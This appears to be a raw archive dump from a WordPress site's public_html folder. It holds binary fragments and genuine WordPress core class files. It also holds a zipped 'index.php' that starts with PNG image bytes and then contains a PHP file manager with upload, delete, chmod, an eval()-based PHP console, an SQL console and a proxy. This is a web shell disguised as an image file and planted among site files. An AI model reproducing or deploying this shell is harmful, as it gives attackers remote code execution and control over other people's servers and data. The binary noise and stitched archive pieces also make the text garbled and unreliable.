]P��^���{��-�����MEbL,`��>�[���A=�3^���2�HS����xD�������_o���L�#�-nȂ���F�2��2�1�5��f���)�9t�mQ�^���n1O��<�bֱNr���*��x{��h���Xi�Ϊ	���ug�l�4@Η�k�S���W����B�WOO�Ϟ=Ż<"������x8Tq�w�I�)�]��ʠ�5vX{D�(�Z7���2��d�J�}<���e�5�R���Q�Zƍ�>Yp�^c%��tC㒧��¾Zߴ;�8ӜekN]u�dj�s��u���T��7G�h�P�=�	�<8�w���f��qʆ�i�+��B�]�9�Du��P=:��V�G�m�f5�P<4�=��E�^.���IV��l�g�S�M�X	�9���B*�a�5H{l�~~�=������׆�ް����uh��f��Ϳ��yr����n��;w��MưLPKYO\~.�400'10/class-wp-textdomain-registry.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-textdomain-registry.php000064400000024361151442400610022317 0ustar00<?php
/**
 * Locale API: WP_Textdomain_Registry class.
 *
 * This file uses rtrim() instead of untrailingslashit() and trailingslashit()
 * to avoid formatting.php dependency.
 *
 * @package WordPress
 * @subpackage i18n
 * @since 6.1.0
 */

/**
 * Core class used for registering text domains.
 *
 * @since 6.1.0
 */
#[AllowDynamicProperties]
class WP_Textdomain_Registry {
	/**
	 * List of domains and all their language directory paths for each locale.
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $all = array();

	/**
	 * List of domains and their language directory path for the current (most recent) locale.
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $current = array();

	/**
	 * List of domains and their custom language directory paths.
	 *
	 * @see load_plugin_textdomain()
	 * @see load_theme_textdomain()
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $custom_paths = array();

	/**
	 * Holds a cached list of available .mo files to improve performance.
	 *
	 * @since 6.1.0
	 * @since 6.5.0 This property is no longer used.
	 *
	 * @var array
	 *
	 * @deprecated
	 */
	protected $cached_mo_files = array();

	/**
	 * Holds a cached list of domains with translations to improve performance.
	 *
	 * @since 6.2.0
	 *
	 * @var string[]
	 */
	protected $domains_with_translations = array();

	/**
	 * Initializes the registry.
	 *
	 * Hooks into the {@see 'upgrader_process_complete'} filter
	 * to invalidate MO files caches.
	 *
	 * @since 6.5.0
	 */
	public function init() {
		add_action( 'upgrader_process_complete', array( $this, 'invalidate_mo_files_cache' ), 10, 2 );
	}

	/**
	 * Returns the languages directory path for a specific domain and locale.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @param string $locale Locale.
	 *
	 * @return string|false Languages directory path or false if there is none available.
	 */
	public function get( $domain, $locale ) {
		$path = $this->all[ $domain ][ $locale ] ?? $this->get_path_from_lang_dir( $domain, $locale );

		/**
		 * Filters the determined languages directory path for a specific domain and locale.
		 *
		 * @since 6.6.0
		 *
		 * @param string|false $path   Languages directory path for the given domain and locale.
		 * @param string       $domain Text domain.
		 * @param string       $locale Locale.
		 */
		return apply_filters( 'lang_dir_for_domain', $path, $domain, $locale );
	}

	/**
	 * Determines whether any MO file paths are available for the domain.
	 *
	 * This is the case if a path has been set for the current locale,
	 * or if there is no information stored yet, in which case
	 * {@see _load_textdomain_just_in_time()} will fetch the information first.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @return bool Whether any MO file paths are available for the domain.
	 */
	public function has( $domain ) {
		return (
			isset( $this->current[ $domain ] ) ||
			empty( $this->all[ $domain ] ) ||
			in_array( $domain, $this->domains_with_translations, true )
		);
	}

	/**
	 * Sets the language directory path for a specific domain and locale.
	 *
	 * Also sets the 'current' property for direct access
	 * to the path for the current (most recent) locale.
	 *
	 * @since 6.1.0
	 *
	 * @param string       $domain Text domain.
	 * @param string       $locale Locale.
	 * @param string|false $path   Language directory path or false if there is none available.
	 */
	public function set( $domain, $locale, $path ) {
		$this->all[ $domain ][ $locale ] = $path ? rtrim( $path, '/' ) . '/' : false;
		$this->current[ $domain ]        = $this->all[ $domain ][ $locale ];
	}

	/**
	 * Sets the custom path to the plugin's/theme's languages directory.
	 *
	 * Used by {@see load_plugin_textdomain()} and {@see load_theme_textdomain()}.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @param string $path   Language directory path.
	 */
	public function set_custom_path( $domain, $path ) {
		// If just-in-time loading was triggered before, reset the entry so it can be tried again.

		if ( isset( $this->all[ $domain ] ) ) {
			$this->all[ $domain ] = array_filter( $this->all[ $domain ] );
		}

		if ( empty( $this->current[ $domain ] ) ) {
			unset( $this->current[ $domain ] );
		}

		$this->custom_paths[ $domain ] = rtrim( $path, '/' );
	}

	/**
	 * Retrieves translation files from the specified path.
	 *
	 * Allows early retrieval through the {@see 'pre_get_mo_files_from_path'} filter to optimize
	 * performance, especially in directories with many files.
	 *
	 * @since 6.5.0
	 *
	 * @param string $path The directory path to search for translation files.
	 * @return array Array of translation file paths. Can contain .mo and .l10n.php files.
	 */
	public function get_language_files_from_path( $path ) {
		$path = rtrim( $path, '/' ) . '/';

		/**
		 * Filters the translation files retrieved from a specified path before the actual lookup.
		 *
		 * Returning a non-null value from the filter will effectively short-circuit
		 * the MO files lookup, returning that value instead.
		 *
		 * This can be useful in situations where the directory contains a large number of files
		 * and the default glob() function becomes expensive in terms of performance.
		 *
		 * @since 6.5.0
		 *
		 * @param null|array $files List of translation files. Default null.
		 * @param string     $path  The path from which translation files are being fetched.
		 */
		$files = apply_filters( 'pre_get_language_files_from_path', null, $path );

		if ( null !== $files ) {
			return $files;
		}

		$cache_key = md5( $path );
		$files     = wp_cache_get( $cache_key, 'translation_files' );

		if ( false === $files ) {
			$files = glob( $path . '*.mo' );
			if ( false === $files ) {
				$files = array();
			}

			$php_files = glob( $path . '*.l10n.php' );
			if ( is_array( $php_files ) ) {
				$files = array_merge( $files, $php_files );
			}

			wp_cache_set( $cache_key, $files, 'translation_files', HOUR_IN_SECONDS );
		}

		return $files;
	}

	/**
	 * Invalidate the cache for .mo files.
	 *
	 * This function deletes the cache entries related to .mo files when triggered
	 * by specific actions, such as the completion of an upgrade process.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Upgrader $upgrader   Unused. WP_Upgrader instance. In other contexts this might be a
	 *                                Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
	 * @param array       $hook_extra {
	 *     Array of bulk item update data.
	 *
	 *     @type string $action       Type of action. Default 'update'.
	 *     @type string $type         Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'.
	 *     @type bool   $bulk         Whether the update process is a bulk update. Default true.
	 *     @type array  $plugins      Array of the basename paths of the plugins' main files.
	 *     @type array  $themes       The theme slugs.
	 *     @type array  $translations {
	 *         Array of translations update data.
	 *
	 *         @type string $language The locale the translation is for.
	 *         @type string $type     Type of translation. Accepts 'plugin', 'theme', or 'core'.
	 *         @type string $slug     Text domain the translation is for. The slug of a theme/plugin or
	 *                                'default' for core translations.
	 *         @type string $version  The version of a theme, plugin, or core.
	 *     }
	 * }
	 */
	public function invalidate_mo_files_cache( $upgrader, $hook_extra ) {
		if (
			! isset( $hook_extra['type'] ) ||
			'translation' !== $hook_extra['type'] ||
			array() === $hook_extra['translations']
		) {
			return;
		}

		$translation_types = array_unique( wp_list_pluck( $hook_extra['translations'], 'type' ) );

		foreach ( $translation_types as $type ) {
			switch ( $type ) {
				case 'plugin':
					wp_cache_delete( md5( WP_LANG_DIR . '/plugins/' ), 'translation_files' );
					break;
				case 'theme':
					wp_cache_delete( md5( WP_LANG_DIR . '/themes/' ), 'translation_files' );
					break;
				default:
					wp_cache_delete( md5( WP_LANG_DIR . '/' ), 'translation_files' );
					break;
			}
		}
	}

	/**
	 * Returns possible language directory paths for a given text domain.
	 *
	 * @since 6.2.0
	 *
	 * @param string $domain Text domain.
	 * @return string[] Array of language directory paths.
	 */
	private function get_paths_for_domain( $domain ) {
		$locations = array(
			WP_LANG_DIR . '/plugins',
			WP_LANG_DIR . '/themes',
		);

		if ( isset( $this->custom_paths[ $domain ] ) ) {
			$locations[] = $this->custom_paths[ $domain ];
		}

		return $locations;
	}

	/**
	 * Gets the path to the language directory for the current domain and locale.
	 *
	 * Checks the plugins and themes language directories as well as any
	 * custom directory set via {@see load_plugin_textdomain()} or {@see load_theme_textdomain()}.
	 *
	 * @since 6.1.0
	 *
	 * @see _get_path_to_translation_from_lang_dir()
	 *
	 * @param string $domain Text domain.
	 * @param string $locale Locale.
	 * @return string|false Language directory path or false if there is none available.
	 */
	private function get_path_from_lang_dir( $domain, $locale ) {
		$locations = $this->get_paths_for_domain( $domain );

		$found_location = false;

		foreach ( $locations as $location ) {
			$files = $this->get_language_files_from_path( $location );

			$mo_path  = "$location/$domain-$locale.mo";
			$php_path = "$location/$domain-$locale.l10n.php";

			foreach ( $files as $file_path ) {
				if (
					! in_array( $domain, $this->domains_with_translations, true ) &&
					str_starts_with( str_replace( "$location/", '', $file_path ), "$domain-" )
				) {
					$this->domains_with_translations[] = $domain;
				}

				if ( $file_path === $mo_path || $file_path === $php_path ) {
					$found_location = rtrim( $location, '/' ) . '/';
					break 2;
				}
			}
		}

		if ( $found_location ) {
			$this->set( $domain, $locale, $found_location );

			return $found_location;
		}

		/*
		 * If no path is found for the given locale and a custom path has been set
		 * using load_plugin_textdomain/load_theme_textdomain, use that one.
		 */
		if ( isset( $this->custom_paths[ $domain ] ) ) {
			$fallback_location = rtrim( $this->custom_paths[ $domain ], '/' ) . '/';
			$this->set( $domain, $locale, $fallback_location );
			return $fallback_location;
		}

		$this->set( $domain, $locale, false );

		return false;
	}
}
PKYO\���10/class-IXR.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-IXR.php000064400000005070151442376260016324 0ustar00<?php
/**
 * IXR - The Incutio XML-RPC Library
 *
 * Copyright (c) 2010, Incutio Ltd.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *  - Redistributions of source code must retain the above copyright notice,
 *    this list of conditions and the following disclaimer.
 *  - Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *  - Neither the name of Incutio Ltd. nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
 * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
 * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
 * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
 * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @package IXR
 * @since 1.5.0
 *
 * @copyright  Incutio Ltd 2010 (http://www.incutio.com)
 * @version    1.7.4 7th September 2010
 * @author     Simon Willison
 * @link       http://scripts.incutio.com/xmlrpc/ Site/manual
 * @license    http://www.opensource.org/licenses/bsd-license.php BSD
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

require_once ABSPATH . WPINC . '/IXR/class-IXR-server.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-base64.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-client.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-clientmulticall.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-date.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-error.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-introspectionserver.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-message.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-request.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-value.php';PKYO\�~?2�(2�(	10/10.zipnu�[���PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
